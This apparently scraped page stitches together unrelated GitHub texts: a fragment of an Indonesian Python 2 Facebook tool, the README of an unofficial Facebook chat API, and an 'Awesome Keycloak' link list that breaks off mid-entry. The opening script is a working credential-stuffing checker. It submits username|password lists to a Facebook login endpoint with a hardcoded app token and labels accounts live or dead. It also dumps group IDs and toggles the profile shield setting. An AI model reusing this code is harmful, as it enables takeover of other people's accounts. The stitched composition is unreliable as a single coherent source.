check_akun(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password' print 40 * '\x1b[1;97m\xe2\x95\x90' live = [] cek = [] die = [] try: file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') list = open(file, 'r').readlines() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for meki in list: username, password = meki.strip().split(str(pemisah)) url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = requests.get(url) mpsh = json.loads(data.text) if 'access_token' in mpsh: live.append(password) print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password elif 'www.facebook.com' in mpsh['error_msg']: cek.append(password) print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password else: die.append(password) print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def grupsaya(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' try: uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) gud = json.loads(uh.text) for p in gud['data']: nama = p['name'] id = p['id'] f = open('grupid.txt', 'w') listgrup.append(id) f.write(id + '\n') print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + str(nama) print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) print 40 * '\x1b[1;97m=' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup) print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt' f.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except KeyError: os.remove('grupid.txt') print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def guard(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Aktifkan' print '\x1b[1;37;40m2. NonAktifkan' print '\x1b[1;31;40m0. Kembali' print g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if g == '1': aktif = 'true' gaz(toket, aktif) else: if g == '2': non = 'false' gaz(toket, non) else: if g == '0': lain() else: if g == '': keluar() else: keluar() def get_userid(toket): url = 'https://graph.facebook.com/me?access_token=%s' % toket res = requests.get(url) uid = json.loads(res.text) return uid['id'] def gaz(toket, enable=True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} url = 'https://graph.facebook.com/graphql' res = requests.post(url, data=data, headers=headers) print res.text if '"is_shielded":true' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDiaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: if '"is_shielded":false' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: print '\x1b[1;91m[!] Error' keluar() if __name__ == '__main__': login()
justwriteclick / DocslikecodeRead stories, learn through practice, share with others, to treat docs as code.
Tinkprocodes / Fca UnofficialThis repo is a fork from main repo and will usually have new features bundled faster than main repo (and maybe bundle some bugs, too). # Unofficial Facebook Chat API <img alt="version" src="https://img.shields.io/github/package-json/v/ProCoderMew/fca-unofficial?label=github&style=flat-square"> Facebook now has an official API for chat bots [here](https://developers.facebook.com/docs/messenger-platform). This API is the only way to automate chat functionalities on a user account. We do this by emulating the browser. This means doing the exact same GET/POST requests and tricking Facebook into thinking we're accessing the website normally. Because we're doing it this way, this API won't work with an auth token but requires the credentials of a Facebook account. _Disclaimer_: We are not responsible if your account gets banned for spammy activities such as sending lots of messages to people you don't know, sending messages very quickly, sending spammy looking URLs, logging in and out very quickly... Be responsible Facebook citizens. See [below](#projects-using-this-api) for projects using this API. ## Install If you just want to use fca-unofficial, you should use this command: ```bash npm install procodermew/fca-unofficial ``` It will download `fca-unofficial` from NPM repositories ## Testing your bots If you want to test your bots without creating another account on Facebook, you can use [Facebook Whitehat Accounts](https://www.facebook.com/whitehat/accounts/). ## Example Usage ```javascript const login = require("fca-unofficial"); // Create simple echo bot login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); api.listen((err, message) => { api.sendMessage(message.body, message.threadID); }); }); ``` Result: <img width="517" alt="screen shot 2016-11-04 at 14 36 00" src="https://cloud.githubusercontent.com/assets/4534692/20023545/f8c24130-a29d-11e6-9ef7-47568bdbc1f2.png"> ## Documentation You can see it [here](DOCS.md). ## Main Functionality ### Sending a message #### api.sendMessage(message, threadID[, callback][, messageID]) Various types of message can be sent: * *Regular:* set field `body` to the desired message as a string. * *Sticker:* set a field `sticker` to the desired sticker ID. * *File or image:* Set field `attachment` to a readable stream or an array of readable streams. * *URL:* set a field `url` to the desired URL. * *Emoji:* set field `emoji` to the desired emoji as a string and set field `emojiSize` with size of the emoji (`small`, `medium`, `large`) Note that a message can only be a regular message (which can be empty) and optionally one of the following: a sticker, an attachment or a url. __Tip__: to find your own ID, you can look inside the cookies. The `userID` is under the name `c_user`. __Example (Basic Message)__ ```js const login = require("fca-unofficial"); login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); var yourID = "000000000000000"; var msg = "Hey!"; api.sendMessage(msg, yourID); }); ``` __Example (File upload)__ ```js const login = require("fca-unofficial"); login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); // Note this example uploads an image called image.jpg var yourID = "000000000000000"; var msg = { body: "Hey!", attachment: fs.createReadStream(__dirname + '/image.jpg') } api.sendMessage(msg, yourID); }); ``` ------------------------------------ ### Saving session. To avoid logging in every time you should save AppState (cookies etc.) to a file, then you can use it without having password in your scripts. __Example__ ```js const fs = require("fs"); const login = require("fca-unofficial"); var credentials = {email: "FB_EMAIL", password: "FB_PASSWORD"}; login(credentials, (err, api) => { if(err) return console.error(err); fs.writeFileSync('appstate.json', JSON.stringify(api.getAppState())); }); ``` Alternative: Use [c3c-fbstate](https://github.com/c3cbot/c3c-fbstate) to get fbstate.json (appstate.json) ------------------------------------ ### Listening to a chat #### api.listen(callback) Listen watches for messages sent in a chat. By default this won't receive events (joining/leaving a chat, title change etc…) but it can be activated with `api.setOptions({listenEvents: true})`. This will by default ignore messages sent by the current account, you can enable listening to your own messages with `api.setOptions({selfListen: true})`. __Example__ ```js const fs = require("fs"); const login = require("fca-unofficial"); // Simple echo bot. It will repeat everything that you say. // Will stop when you say '/stop' login({appState: JSON.parse(fs.readFileSync('appstate.json', 'utf8'))}, (err, api) => { if(err) return console.error(err); api.setOptions({listenEvents: true}); var stopListening = api.listenMqtt((err, event) => { if(err) return console.error(err); api.markAsRead(event.threadID, (err) => { if(err) console.error(err); }); switch(event.type) { case "message": if(event.body === '/stop') { api.sendMessage("Goodbye…", event.threadID); return stopListening(); } api.sendMessage("TEST BOT: " + event.body, event.threadID); break; case "event": console.log(event); break; } }); }); ``` ## FAQS 1. How do I run tests? > For tests, create a `test-config.json` file that resembles `example-config.json` and put it in the `test` directory. From the root >directory, run `npm test`. 2. Why doesn't `sendMessage` always work when I'm logged in as a page? > Pages can't start conversations with users directly; this is to prevent pages from spamming users. 3. What do I do when `login` doesn't work? > First check that you can login to Facebook using the website. If login approvals are enabled, you might be logging in incorrectly. For how to handle login approvals, read our docs on [`login`](DOCS.md#login). 4. How can I avoid logging in every time? Can I log into a previous session? > We support caching everything relevant for you to bypass login. `api.getAppState()` returns an object that you can save and pass into login as `{appState: mySavedAppState}` instead of the credentials object. If this fails, your session has expired. 5. Do you support sending messages as a page? > Yes, set the pageID option on login (this doesn't work if you set it using api.setOptions, it affects the login process). > ```js > login(credentials, {pageID: "000000000000000"}, (err, api) => { … } > ``` 6. I'm getting some crazy weird syntax error like `SyntaxError: Unexpected token [`!!! > Please try to update your version of node.js before submitting an issue of this nature. We like to use new language features. 7. I don't want all of these logging messages! > You can use `api.setOptions` to silence the logging. You get the `api` object from `login` (see example above). Do > ```js > api.setOptions({ > logLevel: "silent" > }); > ``` <a name="projects-using-this-api"></a> ## Projects using this API: - [c3c](https://github.com/lequanglam/c3c) - A bot that can be customizable using plugins. Support Facebook & Discord. - [Miraiv2](https://github.com/miraiPr0ject/miraiv2) - A simple Facebook Messenger Bot made by CatalizCS and SpermLord. ## Projects using this API (original repository, facebook-chat-api): - [Messer](https://github.com/mjkaufer/Messer) - Command-line messaging for Facebook Messenger - [messen](https://github.com/tomquirk/messen) - Rapidly build Facebook Messenger apps in Node.js - [Concierge](https://github.com/concierge/Concierge) - Concierge is a highly modular, easily extensible general purpose chat bot with a built in package manager - [Marc Zuckerbot](https://github.com/bsansouci/marc-zuckerbot) - Facebook chat bot - [Marc Thuckerbot](https://github.com/bsansouci/lisp-bot) - Programmable lisp bot - [MarkovsInequality](https://github.com/logicx24/MarkovsInequality) - Extensible chat bot adding useful functions to Facebook Messenger - [AllanBot](https://github.com/AllanWang/AllanBot-Public) - Extensive module that combines the facebook api with firebase to create numerous functions; no coding experience is required to implement this. - [Larry Pudding Dog Bot](https://github.com/Larry850806/facebook-chat-bot) - A facebook bot you can easily customize the response - [fbash](https://github.com/avikj/fbash) - Run commands on your computer's terminal over Facebook Messenger - [Klink](https://github.com/KeNt178/klink) - This Chrome extension will 1-click share the link of your active tab over Facebook Messenger - [Botyo](https://github.com/ivkos/botyo) - Modular bot designed for group chat rooms on Facebook - [matrix-puppet-facebook](https://github.com/matrix-hacks/matrix-puppet-facebook) - A facebook bridge for [matrix](https://matrix.org) - [facebot](https://github.com/Weetbix/facebot) - A facebook bridge for Slack. - [Botium](https://github.com/codeforequity-at/botium-core) - The Selenium for Chatbots - [Messenger-CLI](https://github.com/AstroCB/Messenger-CLI) - A command-line interface for sending and receiving messages through Facebook Messenger. - [AssumeZero-Bot](https://github.com/AstroCB/AssumeZero-Bot) – A highly customizable Facebook Messenger bot for group chats. - [Miscord](https://github.com/Bjornskjald/miscord) - An easy-to-use Facebook bridge for Discord. - [chat-bridge](https://github.com/rexx0520/chat-bridge) - A Messenger, Telegram and IRC chat bridge. - [messenger-auto-reply](https://gitlab.com/theSander/messenger-auto-reply) - An auto-reply service for Messenger. - [BotCore](https://github.com/AstroCB/BotCore) – A collection of tools for writing and managing Facebook Messenger bots. - [mnotify](https://github.com/AstroCB/mnotify) – A command-line utility for sending alerts and notifications through Facebook Messenger.
BabyJ723 / Blast ON# Awesome Keycloak [](https://github.com/sindresorhus/awesome) # [<img src="https://www.keycloak.org/resources/images/keycloak_logo_480x108.png">](https://github.com/thomasdarimont/awesome-keycloak) > Carefully curated list of awesome Keycloak resources. A curated list of resources for learning about the Open Source Identity and Access Management solution Keycloak. Contains books, websites, blog posts, links to github Repositories. # Contributing Contributions welcome. Add links through pull requests or create an issue to start a discussion. [Please refer to the contributing guide for details](CONTRIBUTING.md). # Contents * [General](#general) * [Documentation](#docs) * [Keycloak Website](http://www.keycloak.org) * [Current Documentation](http://www.keycloak.org/documentation.html) * [Archived Documentation](http://www.keycloak.org/documentation-archive.html) * [Mailing Lists](#mailing-lists) * [User Mailing List](#user-mailing-list) * [Developer Mailing List](#dev-mailing-list) * [Mailing List Search](#mailing-list-search) * [Books](#books) * [Articles](#articles) * [Talks](#talks) * [Presentations](#presentations) * [Video Playlists](#video-playlists) * [Community Extensions](#community-extensions) * [Integrations](#integrations) * [Themes](#themes) * [Docker](#docker) * [Deployment Examples](#deployment-examples) * [Example Projects](#example-projects) * [Benchmarks](#benchmarks) * [Help](#help) * [Commercial Offerings](#commercial-offerings) * [Miscellaneous](#miscellaneous) # General ## Documentation * [Keycloak Website](http://www.keycloak.org/) * [Current Documentation](http://www.keycloak.org/documentation.html) * [Archived Documentation](http://www.keycloak.org/documentation-archive.html) * [Product Documentation for Red Hat Single Sign-On](https://access.redhat.com/documentation/en/red-hat-single-sign-on/) ## Discussion Groups and Mailing Lists * [Keycloak Users Google Group](https://groups.google.com/forum/#!forum/keycloak-user) * [Keycloak Developers Google Group](https://groups.google.com/forum/#!forum/keycloak-dev) * [Keycloak Discourse Group](https://keycloak.discourse.group/) * [Keycloak Developer Chat](https://keycloak.zulipchat.com) * [Inactive - User Mailing List](https://lists.jboss.org/mailman/listinfo/keycloak-user) * [Inactive - Developer Mailing List](https://lists.jboss.org/mailman/listinfo/keycloak-dev) * [Mailing List Search](http://www.keycloak.org/search) * [Keycloak Subreddit](https://www.reddit.com/r/keycloak) ## Books * [Keycloak - Identity and Access Management for Modern Applications](https://www.packtpub.com/product/keycloak-identity-and-access-management-for-modern-applications/9781800562493) ## Articles * [How to get Keycloak working with Docker](https://www.ivonet.nl/2015/05/23/Keycloak-Docker/) * [Single-Sign-On for Microservices and/or Java EE applications with Keycloak SSO](http://www.n-k.de/2016/06/keycloak-sso-for-microservices.html) * [Keycloak Admin Client(s) - multiple ways to manage your SSO system](http://www.n-k.de/2016/08/keycloak-admin-client.html) * [How to get the AccessToken of Keycloak in Spring Boot and/or Java EE](http://www.n-k.de/2016/05/how-to-get-accesstoken-from-keycloak-springboot-javaee.html) * [JWT authentication with Vert.x, Keycloak and Angular 2](http://paulbakker.io/java/jwt-keycloak-angular2/) * [Authenticating via Kerberos with Keycloak and Windows 2008 Active Directory](http://matthewcasperson.blogspot.de/2015/07/authenticating-via-kerberos-with.html) * [Deploying Keycloak with Ansible](https://adam.younglogic.com/2016/01/deploying-keycloak-via-ansible/) * [Easily secure your Spring Boot applications with Keycloak](https://developers.redhat.com/blog/2017/05/25/easily-secure-your-spring-boot-applications-with-keycloak/) * [How Red Hat re-designed its Single Sign On (SSO) architecture, and why](https://developers.redhat.com/blog/2016/10/04/how-red-hat-re-designed-its-single-sign-on-sso-architecture-and-why/) * [OAuth2, JWT, Open-ID Connect and other confusing things](http://giallone.blogspot.de/2017/06/oath2.html) * [X509 Authentication with Keycloak and JBoss Fuse](https://sjhiggs.github.io/fuse/sso/x509/smartcard/2017/03/29/fuse-hawtio-keycloak.html) * [Running Keycloak on OpenShift 3](https://medium.com/@sbose78/running-keycloak-on-openshift-3-8d195c0daaf6) * [Introducing Keycloak for Identity and Access Management](https://www.thomasvitale.com/introducing-keycloak-identity-access-management/) * [Keycloak Basic Configuration for Authentication and Authorisation](https://www.thomasvitale.com/keycloak-configuration-authentication-authorisation/) * [Keycloak on OpenShift Origin](https://medium.com/@james_devcomb/keycloak-on-openshift-origin-ee81d01dac97) * [Identity Management, One-Time-Passwords and Two-Factor-Auth with Spring Boot and Keycloak](http://www.hascode.com/2017/11/identity-management-one-time-passwords-and-two-factor-auth-with-spring-boot-and-keycloak/) * [Keycloak Identity Brokering with Openshift](https://developers.redhat.com/blog/2017/12/06/keycloak-identity-brokering-openshift/) * [OpenID Connect Identity Brokering with Red Hat Single Sign-On](https://developers.redhat.com/blog/2017/10/18/openid-connect-identity-brokering-red-hat-single-sign/) * [Authentication & user management is hard](https://eclipsesource.com/blogs/2018/01/11/authenticating-reverse-proxy-with-keycloak/) * [Securing Nginx with Keycloak](https://edhull.co.uk/blog/2018-06-06/keycloak-nginx) * [Secure kibana dashboards using keycloak](https://aboullaite.me/secure-kibana-keycloak/) * [Configuring NGINX for OAuth/OpenID Connect SSO with Keycloak/Red Hat SSO](https://developers.redhat.com/blog/2018/10/08/configuring-nginx-keycloak-oauth-oidc/) * [Keycloak Clustering Setup and Configuration Examples](https://github.com/fit2anything/keycloak-cluster-setup-and-configuration) * [MicroProfile JWT with Keycloak](https://kodnito.com/posts/microprofile-jwt-with-keycloak/) * [Keycloak Essentials](https://medium.com/keycloak/keycloak-essentials-86254b2f1872) * [SSO-session failover with Keycloak and AWS S3](https://medium.com/@georgijsr/sso-session-failover-with-keycloak-and-aws-s3-e0b1db985e12) * [KTOR and Keycloak: authentication with OpenId](https://medium.com/slickteam/ktor-and-keycloak-authentication-with-openid-ecd415d7a62e) * [Keycloak: Core concepts of open source identity and access management](https://developers.redhat.com/blog/2019/12/11/keycloak-core-concepts-of-open-source-identity-and-access-management) * [Who am I? Keycloak Impersonation API](https://blog.softwaremill.com/who-am-i-keycloak-impersonation-api-bfe7acaf051a) * [Setup Keycloak Server on Ubuntu 18.04](https://medium.com/@hasnat.saeed/setup-keycloak-server-on-ubuntu-18-04-ed8c7c79a2d9) * [Getting started with Keycloak](https://robferguson.org/blog/2019/12/24/getting-started-with-keycloak/) * [Angular, OpenID Connect and Keycloak](https://robferguson.org/blog/2019/12/29/angular-openid-connect-keycloak/) * [Angular, OAuth 2.0 Scopes and Keycloak](https://robferguson.org/blog/2019/12/31/angular-oauth2-keycloak/) * [Keycloak, Flowable and OpenLDAP](https://robferguson.org/blog/2020/01/03/keycloak-flowable-and-openldap/) * [How to exchange token from an external provider to a keycloak token](https://www.mathieupassenaud.fr/token-exchange-keycloak/) * [Building an Event Listener SPI (Plugin) for Keycloak](https://dev.to/adwaitthattey/building-an-event-listener-spi-plugin-for-keycloak-2044) * [Keycloak user migration – connect your legacy authentication system to Keycloak](https://codesoapbox.dev/keycloak-user-migration/) * [Keycloak Authentication and Authorization in GraphQL](https://medium.com/@darahayes/keycloak-authentication-and-authorization-in-graphql-ad0a1685f7da) * [Kong / Konga / Keycloak: securing API through OIDC](https://github.com/d4rkstar/kong-konga-keycloak) * [KeyCloak: Custom Login theme](https://codehumsafar.wordpress.com/2018/09/11/keycloak-custom-login-theme/) * [Keycloak: Use background color instead of background image in Custom Login theme](https://codehumsafar.wordpress.com/2018/09/21/keycloak-use-background-color-instead-of-background-image-in-custom-login-theme/) * [How to turn off the Keycloak theme cache](https://keycloakthemes.com/blog/how-to-turn-off-the-keycloak-theme-cache) * [How to add a custom field to the Keycloak registration page](https://keycloakthemes.com/blog/how-to-add-custom-field-keycloak-registration-page) * [How to setup Sign in with Google using Keycloak](https://keycloakthemes.com/blog/how-to-setup-sign-in-with-google-using-keycloak) * [How to sign in users on Keycloak using Github](https://keycloakthemes.com/blog/how-to-sign-in-users-on-keycloak-using-github) * [Extending Keycloak SSO Capabilities with IBM Security Verify](https://community.ibm.com/community/user/security/blogs/jason-choi1/2020/06/10/extending-keycloak-sso-capabilities-with-ibm-secur) * [AWS SAML based User Federation using Keycloak](https://medium.com/@karanbir.tech/aws-connect-saml-based-identity-provider-using-keycloak-9b3e6d0111e6) * [AWS user account OpenID federation using Keycloak](https://medium.com/@karanbir.tech/aws-account-openid-federation-using-keycloak-40d22b952a43) * [How to Run Keycloak in HA on Kubernetes](https://blog.sighup.io/keycloak-ha-on-kubernetes/) * [How to create a Keycloak authenticator as a microservice?](https://medium.com/application-security/how-to-create-a-keycloak-authenticator-as-a-microservice-ad332e287b58) * [keycloak.ch | Installing & Running Keycloak](https://keycloak.ch/keycloak-tutorials/tutorial-1-installing-and-running-keycloak/) * [keycloak.ch | Configuring Token Exchange using the CLI](https://keycloak.ch/keycloak-tutorials/tutorial-token-exchange/) * [keycloak.ch | Configuring WebAuthn](https://keycloak.ch/keycloak-tutorials/tutorial-webauthn/) * [keycloak.ch | Configuring a SwissID integration](https://keycloak.ch/keycloak-tutorials/tutorial-swissid/) * [Getting Started with Service Accounts in Keycloak](https://medium.com/@mihirrajdixit/getting-started-with-service-accounts-in-keycloak-c8f6798a0675) * [Building cloud native apps: Identity and Access Management](https://dev.to/lukaszbudnik/building-cloud-native-apps-identity-and-access-management-1e5m) * [X.509 user certificate authentication with Red Hat’s single sign-on technology](https://developers.redhat.com/blog/2021/02/19/x-509-user-certificate-authentication-with-red-hats-single-sign-on-technology) * [Grafana OAuth with Keycloak and how to validate a JWT token](https://janikvonrotz.ch/2020/08/27/grafana-oauth-with-keycloak-and-how-to-validate-a-jwt-token/) * [How to setup a Keycloak server with external MySQL database on AWS ECS Fargate in clustered mode](https://jbjerksetmyr.medium.com/how-to-setup-a-keycloak-server-with-external-mysql-database-on-aws-ecs-fargate-in-clustered-mode-9775d01cd317) * [Extending Keycloak: adding API key authentication](http://www.zakariaamine.com/2019-06-14/extending-keycloak) * [Extending Keycloak: using a custom email sender](http://www.zakariaamine.com/2019-07-14/extending-keycloak2) * [Integrating Keycloak and OPA with Confluent](https://goraft.tech/2021/03/17/integrating-keycloak-and-opa-with-confluent.html) * [UMA 2.0 : User Managed Access - how to use it with bash](https://blog.please-open.it/uma/) ## Talks * [JDD2015 - Keycloak Open Source Identity and Access Management Solution](https://www.youtube.com/watch?v=TuEkj25lbd0) * [2015 Using Tomcat and Keycloak in an iFrame](https://www.youtube.com/watch?v=nF_lw7uIxao) * [2016 You've Got Microservices Now Secure Them](https://www.youtube.com/watch?v=SfVhqf-rMQY) * [2016 Keycloak: Open Source Single Sign On - Sebastian Rose - AOE conf (german)](https://www.youtube.com/watch?v=wbKw0Bwyne4) * [2016 Sécuriser ses applications back et front facilement avec Keycloak (french)](https://www.youtube.com/watch?v=bVidgluUcg0) * [2016 Keycloak and Red Hat Mobile Application Platform](https://www.youtube.com/watch?v=4NBgiHM5aOA) * [2016 Easily secure your Front and back applications with KeyCloak](https://www.youtube.com/watch?v=RGp4HUKikts) * [2017 Easily secure your Spring Boot applications with Keycloak - Part 1](https://developers.redhat.com/video/youtube/vpgRTPFDHAw/) * [2017 Easily secure your Spring Boot applications with Keycloak - Part 2](https://developers.redhat.com/video/youtube/O5ePCWON08Y/) * [2018 How to secure your Spring Apps with Keycloak by Thomas Darimont @ Spring I/O 2018](https://www.youtube.com/watch?v=haHFoeWUj0w) * [2018 DevNation Live | A Deep Dive into Keycloak](https://www.youtube.com/watch?v=ZxpY_zZ52kU) * [2018 IDM Europe: WSO2 Identity Server vs. Keycloak (Dmitry Kann)](https://www.youtube.com/watch?v=hnjBiGsEDoU) * [2018 JPrime|Building an effective identity and access management architecture with Keycloak (Sebastien Blanc)](https://www.youtube.com/watch?v=bMqcGkCvUVQ) * [2018 WJAX| Sichere Spring-Anwendungen mit Keycloak](https://www.youtube.com/watch?v=6Z490EMcafs) * [2019 Spring I/O | Secure your Spring Apps with Keycloak](https://www.youtube.com/watch?v=KrOd5wIkqls) * [2019 DevoxxFR | Maitriser sa gestion de l'identité avec Keycloak (L. Benoit, T. Recloux, S. Blanc)](https://www.youtube.com/watch?v=0cziL__0-K8) * [2019 DevConf | Fine - Grained Authorization with Keycloak SSO (Marek Posolda)](https://www.youtube.com/watch?v=yosg4St0iUw) * [2019 VoxxedDays Minsk | Bilding an effective identity and access management architecture with Keycloak (Sebastien Blanc)](https://www.youtube.com/watch?v=RupQWmYhrLA) * [2019 Single-Sign-On Authentifizierung mit dem Keycloak Identity Provider | jambit CoffeeTalk](https://www.youtube.com/watch?v=dnY6ORaFNY8) * [2020 Keycloak Team | Keycloak Pitch](https://www.youtube.com/watch?v=GZTN_VXjoQw) * [2020 Keycloak Team | Keycloak Overview](https://www.youtube.com/watch?v=duawSV69LDI) * [2020 Please-open.it : oauth2 dans le monde des ops (french)](https://www.youtube.com/watch?v=S-9X50QajmY) ## Presentations * [Keycloak 101](https://stevenolen.github.io/kc101-talk/#1) ## Video Playlists * [Keycloak Identity and Access Management by Łukasz Budnik](https://www.youtube.com/playlist?list=PLPZal7ksxNs0mgScrJxrggEayV-TPZ9sA) * [Keycloak by Niko Köbler](https://www.youtube.com/playlist?list=PLNn3plN7ZiaowUvKzKiJjYfWpp86u98iY) * [Keycloak Playlist by hexaDefence](https://youtu.be/35bflT_zxXA) * [Keycloak Tutorial Series by CodeLens](https://www.youtube.com/watch?v=Lr9WeIMtFow&list=PLeGNmkzI56BTjRxNGxUhh4k30FD_gy0pC) ## Clients * [Official Keycloak Node.js Admin Client](https://github.com/keycloak/keycloak-admin-client/) ("Extremely Experimental") * [Keycloak Node.js TypeScript Admin Client by Canner](https://github.com/Canner/keycloak-admin/) * [Keycloak Go Client by Cloudtrust](https://github.com/cloudtrust/keycloak-client) * [Keycloak Nest.js Admin Client by Relevant Fruit](https://github.com/relevantfruit/nestjs-keycloak-admin) ## Community Extensions * [Keycloak Extensions List](https://www.keycloak.org/extensions.html) * [Keycloak Benchmark Project](https://github.com/keycloak/keycloak-benchmark) * [Keycloak: Link IdP Login with User Provider](https://github.com/ohioit/keycloak-link-idp-with-user) * [Client Owner Manager: Control who can edit a client](https://github.com/cyclone-project/cyclone-client-registration) * [Keyloak Proxy written in Go](https://github.com/gambol99/keycloak-proxy) * [Script based ProtocolMapper extension for SAML](https://github.com/cloudtrust/keycloak-client-mappers) * [Realm export REST resource by Cloudtrust](https://github.com/cloudtrust/keycloak-export) * [Keycloak JDBC Ping Setup by moremagic](https://github.com/moremagic/keycloak-jdbc-ping) * [SMS 2 Factor Authentication for Keycloak via AWS SNS](https://github.com/nickpack/keycloak-sms-authenticator-sns) * [SMS 2 Factor Authentiation for Keycloak via SMS by Alliander](https://github.com/Alliander/keycloak-sms-authenticator) * [Identity Provider for vk.com](https://github.com/mrk08/keycloak-vk) * [CAS Protocol Support](https://github.com/Doccrazy/keycloak-protocol-cas) * [WS-FED Support](https://github.com/cloudtrust/keycloak-wsfed) * [Keycloak Discord Support](https://github.com/wadahiro/keycloak-discord) * [Keycloak Login with User Attribute](https://github.com/cnieg/keycloak-login-attribute) * [zonaut/keycloak-extensions](https://github.com/zonaut/keycloak-extensions) * [leroyguillaume/keycloak-bcrypt](https://github.com/leroyguillaume/keycloak-bcrypt) * [SPI Authenticator in Nodejs](https://www.npmjs.com/package/keycloak-rest-authenticator) * [Have I Been Pwned? Keycloak Password Policy](https://github.com/alexashley/keycloak-password-policy-have-i-been-pwned) * [Keycloak Eventlistener for Google Cloud Pub Sub](https://github.com/acesso-io/keycloak-event-listener-gcpubsub) * [Enforcing Password policy based on attributes of User Groups](https://github.com/sayedcsekuet/keycloak-user-group-based-password-policy) * [Verify Email with Link or Code by hokumski](https://github.com/hokumski/keycloak-verifyemailwithcode) * [Role-based Docker registry authentication](https://github.com/lifs-tools/keycloak-docker-role-mapper) * [SCIM for keycloak](https://github.com/Captain-P-Goldfish/scim-for-keycloak) * [Keycloak Kafka Module](https://github.com/SnuK87/keycloak-kafka) ## Integrations * [Official Keycloak Node.js Connect Adapter](https://github.com/keycloak/keycloak-nodejs-connect) * [Keycloak support for Aurelia](https://github.com/waynepennington/aurelia-keycloak) * [Keycloak OAuth2 Auth for PHP](https://github.com/stevenmaguire/oauth2-keycloak) * [Jenkins Keycloak Authentication Plugin](https://github.com/jenkinsci/keycloak-plugin) * [Meteor Keycloak Accounts](https://github.com/mxab/meteor-keycloak) * [HapiJS Keycloak Auth](https://github.com/felixheck/hapi-auth-keycloak) * [zmartzone mod_auth_openidc for Apache 2.x](https://github.com/zmartzone/mod_auth_openidc) * [Duo Security MFA Authentication for 